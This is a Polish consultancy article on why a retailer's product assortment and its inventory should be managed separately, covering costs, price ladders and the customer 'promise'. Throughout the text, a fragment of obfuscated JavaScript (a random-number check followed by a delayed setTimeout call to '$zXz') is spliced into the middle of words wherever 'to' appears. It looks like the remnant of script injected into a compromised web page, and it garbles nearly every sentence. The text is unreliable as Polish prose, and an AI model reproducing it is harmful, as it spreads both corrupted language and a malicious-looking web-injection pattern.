In Artykuły, Handel, Uniwersalne

Wiele firm u dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tożsamia te dwa pojęcia. Można tak oczywiście, ale koszty tego mogą być dla firmy kolosalne. Ofertę buduje się wtedy „pod zapas”, a zapas „pod ofertę”. W ten sposób jednego i drugiego jest za dużo, a już na pewno za dużo w s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunku do potrzeb. Można inaczej. Trzeba je wtedy potrak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować osobno i każde inaczej.

Dlaczego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to samo? Zwykle dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towar ma dwa wymiary. Jeden dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jego pozycja w asortymencie (pozycja produktu w Grupie Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej – drabince asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej). Drugi wymiar produktu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jego zapas. Istnieje oczywiście punkt wspólny dla obu wymiarów, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sprzedaż. Jednak większa część jednego i drugiego wymiaru tkwi poza nią. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ta część może najbardziej ciążyć.

Oferta ma podstawowe znaczenie dla sprzedaży, jednak częściowo tylko pośrednie (szczególnie Grupy Sprzedażowe C i D, które łącznie dają tylko 20% obrotów, za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to stanowią 80% oferty). To jednak, jak ważny jest asortyment, zależy od innych składników Konceptu. Jeśli o odwiedzalności decyduje np. lokalizacja, na ofercie można sporo zaoszczędzić.

Uwaga. „zarzadzanie obietnicą”. Każda firma, niezależnie od tego, czy jest tego świadoma, czy nie, składa klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi obietnicę. Ta obietnica dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kluczowy składnik Konceptu Sprzedażowego. I jak każda obietnica, także ta jest nie tylko składana, ale i dotrzymywana (albo nie).

Równie ważne dla sprzedaży jest posiadanie zapasu, jednak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to znacznie zależy od kluczowej dla sprzedaży obietnicy złożonej klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi w Koncepcie Sprzedażowym. Jeśli bowiem takiej obietnicy się nie składa, zapas staje się tylko ciężarem i kosztem.

Dwa wymiary produktu

Na obu wymiarach produktu wiele się dzieje, choć niezupełnie jedno ma związek z drugim.

Te dwa wymiary mają punkt wspólny w postaci sprzedaży. Co do zasady jednak rządzą się różnymi prawami i różnie wpisują się w Model Biznesowy firmy. Dlatego lepiej patrzeć na nie oddzielnie i różnie nimi zarządzać. Będzie wygodniej, ale przede wszystkim będzie taniej.

Zarządzanie asortymentem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to gra z klientem

Trochę też z konkurencją. Oferta dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wypadkowa potrzeb klienta, w złożeniu z możliwościami dostawców oraz ofertą konkurencji.

Z tych trzech elementów najlepiej jest złożyć Grupę Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tową, czyli zbiór produktów jednolitych pod względem kluczowego dla klientów kryterium wyszukiwania. Może tak powstać np. oferta czerwonych win wytrawnych. Jeśli k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś jest ich miłośnikiem, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to posiadanie przez sprzedawcę w ofercie białych win słodkich nie ma znaczenia (poza wrażeniem, że mają duży wybór).

Uwaga. „SKU a produkt”. W logistyce dobrym określeniem dla produktu jest SKU (S dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tock Keeping Unit). To inaczej jednoznaczna identyfikacja produktu. Takie wyróżnienie doskonale nadaje się do zarządzania zapasem. Do zarządzania asortymentem, a tym bardziej zarządzania magiczną formuła przy pomocy oferty takie określenie jednak zupełnie nie wystarczy. Dla wykorzystania oferty w sterowaniu sprzedażą trzeba sięgnąć (i ustalić) pozycję produktu we wszystkich jego warstwach. Dopiero wtedy można nim skutecznie zarządzać.

Produkt ma warstwy. Te warstwy mają jednak znaczenie tylko dla zarządzania asortymentem. Dla zarządzania zapasem wystarczy tylko rdzeń, a więc SKU. Wszystkie inne cechy (warstwy) produktu system zamawiania uwzględni pośrednio, przez statystyki sprzedaży.

W ramach Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej powstaje uporządkowany zbiór wg drugiego (po kryterium wyszukiwania) sposobu uporządkowania. Taki sposób uporządkowania Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej można nazwać drabinką asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tową. Najczęściej jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to drabinka cenowa (ułożenie wg ceny), ale nie musi ona taka być.

Drabinka cenowa. Inaczej sposób uporządkowania Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej. W praktyce drabinka najczęściej jest cenowa, choć jeśli ważniejsze jest wypełnienie oferty produktami, a nie up-sell (podstawowa rola drabinki cenowej), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zas dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować inne kryterium drabinki.

Może dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być uporządkowanie wg długości sierści (jeśli Grupą Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tową jest zbiór świnek morskich). Może być wg waluty kredytu (jeśli Grupą są kredyty hipoteczne). Możliwości jest wiele, ważny jest jednak przede wszystkim cel.

Cele drabinki asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej. W szczególności może dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być drabinka cenowa, ale ta służy tylko niektórym celom.

Wypełnienie luk. Podstawowym celem drabinki jest jej wypełnienie. Do tego potrzeba złożyć możliwości (czyli dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co oferują dostawcy) z tym, czego szukają klienci.

Sterowanie klientem. To zaniedbywana, ale kluczowa dla sprzedaży funkcja oferty. Ona mianowicie steruje klientem (choć trzeba jej w tym nieco pomóc, samoobsługowo czy obsługowo). Ale steruje, przede wszystkim przez zarządzanie magiczną formułą sprzedaży.

Odróżnienie od konkurencji. Jest równie ważne jak sterowanie sprzedażą, choć wpływa na obroty tylko pośrednio i nie od razu. Przede wszystkim chodzi tu o stworzenie tzw. reason dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to come czyli powodu dla nawiązania kontaktu z firmą. Tych powodów może być wiele, ale jeśli takiego powodu nie będzie, firma długo nie pożyje.

Z punktu widzenia zarządzania ofertą ważny jest szeroki wybór, czasem unikalność produktu ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to głównie gdy sprzedający jest jednocześnie właścicielem marki produk dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej). Z kolei dla zarządzania zapasem kluczowa jest dostępność, najpierw na poziomie Grupy Logistycznej (czyli czy taka dostępność ma w ogóle być), a następnie dla dostępności natychmias dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej ważny jest założony jej poziom (prawdopodobieństwo znalezienia produktu w procentach) w postaci Service Level. W końcu zaś zderzenie tego poziomu z rzeczywis dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tością w postaci już praktycznego zarządzania zapasem, zamówieniami i wyprzedażami.

Należy jednak pamiętać, że w sprzedaży dużo bardziej niż sytuacja faktyczna liczy się jej percepcja przez klienta. A tu można wiele zaoszczędzić. Czasem produktu w ogóle nie trzeba mieć, wystarczy przekonać klienta, że on jest. Może go zastąpić atrapa

Uwaga. „sprzedaż a teatr”. Prędzej czy później sprzedawcy orientują się, że sprzedaje się i tak tylko część ich oferty, zwykle 80% obrotu pochodzi od 20% asortymentu. Ale z tego faktu wcale nie wynika (choć na pierwszy rzut oka mogłoby), że war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to odciąć te 80% bezproduktywnego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru. Jego rola jest niezwykle ważna, choć niewidoczna. On mianowicie „robi wrażenie”, bez którego nie byłoby tych 80% obrotu.

To jak z teatrem, potrzebna jest scena i statyści, choć o sukcesie sztuki zadecydują dwie gwiazdy. Ale bez scenografii nie zagrają. Scenografia może jednak być papierowa, ak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torzy drugiego planu mogą być manekinami lub ten sam ak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor może pojawić się wiele razy w różnych rolach. Z asortymentem, a jeszcze bardziej z zapasem może być tak samo. Towar, który się nie sprzedaje, może być atrapą czy nawet tylko jego wyobrażeniem osiągniętym za pomocą materiałów POS.

Czasem klienta nie trzeba przekonywać teatrem, można dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jeszcze uprościć. Inaczej mówiąc, można dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zrobić jeszcze taniej. Czyli zarządzać już nie ofertą czy jej zapasem ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zawsze, mimo pewnych manipulacji, jednak dość drogo kosztuje), ale wręcz obietnicą. Tak czynią np. sklepy interne dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe, one z zasady nie obiecują natychmias dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej dostępności, a właściwie manipulują jej definicją. Przecież dostawa musi potrwać, więc w czas jej trwania można wpisać obniżony poziom dostępności. Co diametralnie zmienia koszty tak zdefiniowanej dostępności.

Asortyment obiecany a faktyczny

Żeby było trudniej, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oferta obiecana klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi i tak jest tylko teorią. Nawet jeśli k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś twardo obiecuje konsumen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom jakiś asortyment (a niewielu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robi, większość stawia na „wybierz z tego, co akurat jest”), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak wkrada się tu rzeczywis dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość. I wielu produktów brakuje, mimo że powinny być, wielu jest za dużo, a jeszcze więcej jest tych, których już dawno nikt nie chce, ale które same nie chcą się wyprzedać.

To dobry punkt styku z drugim wymiarem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru, czyli jego zapasem. Gdyż zapas nie jest dla oferty. On jest dla konkretnego SKU. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na poziomie tego SKU ma wpływ na sprzedaż. Tymczasem kapitał obro dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pojęcie ważne dla właściciela i jako taki nie ma już bezpośredniego związku ze sprzedażą. Gdyż jest sumą błędów, warunków handlowych i złego zarządzania zapasem.

Zapas i oferta kosztują

Kosztują oba, ale nie tyle samo.

Koszt oferty. W ofercie najdroższe są relacje z dostawcami. Te trzeba nawiązać, podtrzymywać, cyzelować. To koszt czasu, wysiłku, ale i np. promocji, jakie trzeba dla dostawcy urządzać. Kosztuje też administrowanie zamówieniami, który dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to koszt przy posiadaniu zapasu jest pomijalny. Bardzo drogie jest zarządzanie ofertą, tak po stronie niezbędnych do tego kompetencji, jak i sytemu informatycznego.

Kosztuje też ekspozycja, bez niego produkt się nie sprzeda. Można urządzić ekspozycję „wirtualną”, w postaci np. materiałów POS, ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też kosztuje. Ważny jest także najmniej widoczny koszt „teatru”, czyli z jednej strony scenografii (stworzenia atmosfery sprzedaży), z drugiej koszt tła, w postaci Grup C i D. Na końcu zaś jest infrastruktura sprzedażowa, czyli system sprzedaży. Im np. szersza oferta, tym bardziej zaawansowany system (w tym kompetencje pracowników) będzie potrzebny do zarządzania sprzedażą.

W sumie jednak większość tych kosztów jest może nie jednorazowa, ale przynajmniej największa na początku. Raz zbudowane relacje z dostawcami trzeba już tylko podtrzymywać. Raz zbudowane kompetencje podwyższać, ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już jest tańsze. Koszt ekspozycji dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też koszt w miarę jednorazowy. Kompetencje personelu są też najdroższe przy ich tworzeniu. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wszystko oznacza, że łatwiej się pogodzić z tymi kosztami, niż z kosztami zapasu. Ten kosztuje cały czas. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z czasem zwykle coraz więcej, choćby przez rezerwy.

Koszt zapasu. Tu oczywiście na pierwszy plan wysuwają się koszty kapitału obro dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towego, jakiego zapas wymaga. Z jednej strony dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kwestia rotacji zapasu, z drugiej warunków handlowych. Ważne są też rezerwy na niepełnowar dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tościowy zapas (może nawet najważniejsze). Tymczasem ten, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ma zapas, ten zawsze będzie miał część dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru, którego będzie się chciał pozbyć, najczęściej ze stratą. Ale zapas trzeba też gdzieś trzymać, cały czas się nim zajmować, przesuwać, przemieszczać, utrzymywać w stanie odpowiednim do sprzedaży.

Ponieważ zarówno zapas, jak i oferta kosztują, ich posiadanie zaczyna być grą z właścicielem (w końcu właścicielem tych pieniędzy). Jednak zapas kosztuje znacznie więcej, więc dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tu gra jest najostrzejsza. W dodatku kosztuje cały czas, tyle samo, a nawet coraz więcej (np. w kosztach wyprzedaży).

Zarządzanie zapasem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przede wszystkim gra z właścicielem

Choć trochę też z klientem. Przełożeniem na właściciela jest wysokość kapitału obro dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towego, który dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to on musi sfinansować (jeśli zrobi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to np. bank albo dostawcy, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oznacza, że tyle mógł wyciągnąć z firmy właściciel w postaci np. dywidendy czy war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości firmy).

Przełożeniem na klienta jest poziom dostępności dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru. Występuje na dwóch poziomach, Grupy Logistycznej (typu dostępności) i Service Level (w ramach produktów dostępnych „od ręki”).

To tu decyduje się wpływ zapasu na sprzedaż. A także jak wymogi sprzedaży wpływają na zapas. Jeśli bowiem sprzedaż bardzo fluktuuje, wymaga dużego zapasu bezpieczeństwa (jest pochodną odchylenia standardowego od zmienności sprzedaży). Ważny jest także np. sposób ekspozycji, gdyż pewne jej rodzaje wymagają dużego zapasu (np. ekspozycja na paletach).

Jaką jest relacja zapasu z właścicielem? Inna niż z klientem. Zapas przestaje być produktem na poziomie dostępności, a staje się kapitałem obro dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towym.

Dla właściciela zapas jest złem, gdyż obniża ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność jego inwestycji. War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to więc na tym etapie wrócić do obietnicy i rozważyć jej zmianę. Gdyż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tam ukryty jest największy potencjał wzrostu ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności (z punktu widzenia właściciela).

Uwaga. „zasada minimum”. Dla właściciela kluczowe jest zas dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowanie w biznesie zasady minimum. A więc nie najlepiej jak można, ale najgorzej, tylko tyle, ile klient jeszcze dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toleruje. Ta zasada chyba najlepiej oddaje sprzeczność między ofertą, a zapasem. Dla oferty, która jest tańsza, można zrobić więcej wyjątków, niż dla zapasu, który jest drogi.

Podsumowanie

Jeśli pomyli się zarządzanie asortymentem z zarządzaniem zapasem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to skutki mogą być bardzo kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towne. Z jednej strony firma nie wykorzysta możliwości (sprzedażowych) po stronie stworzenia oferty atrakcyjnej dla sprzedaży, a jednocześnie atrakcyjnej dla przychodzących (teatr). Z drugiej jednak zapłaci za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nadmiernym zapasem.

Oferta i zapas są oba obecne w firmie, ale służą różnym celom. Mają oczywiście wspólny mianownik, mianowicie sprzedaż, gdzie zapas i oferta się stykają. Większość jednak ich znaczenia dla firmy pozostaje poza bezpośrednio rozumianą sprzedażą (pośrednio w firmie handlowej wszystko służy sprzedaży).

Zapas jest droższy i ma mniej wspólnego ze sprzedażą niż oferta, dlatego więc jest oczkiem w głowie dbającego o zwrot z inwestycji właściciela. Zaś oferta, przez swoje znaczenia dla liczby kontaktów ma podstawowy wpływ na zarządzanie sprzedażą. Dlatego ofertę najlepiej rozszerzać, a zapas zmniejszać. Najskuteczniej przez zarządzanie obietnicą, ale można dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też robić przez zarzadzanie zarówno jednym jak i drugim bezpośrednio.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.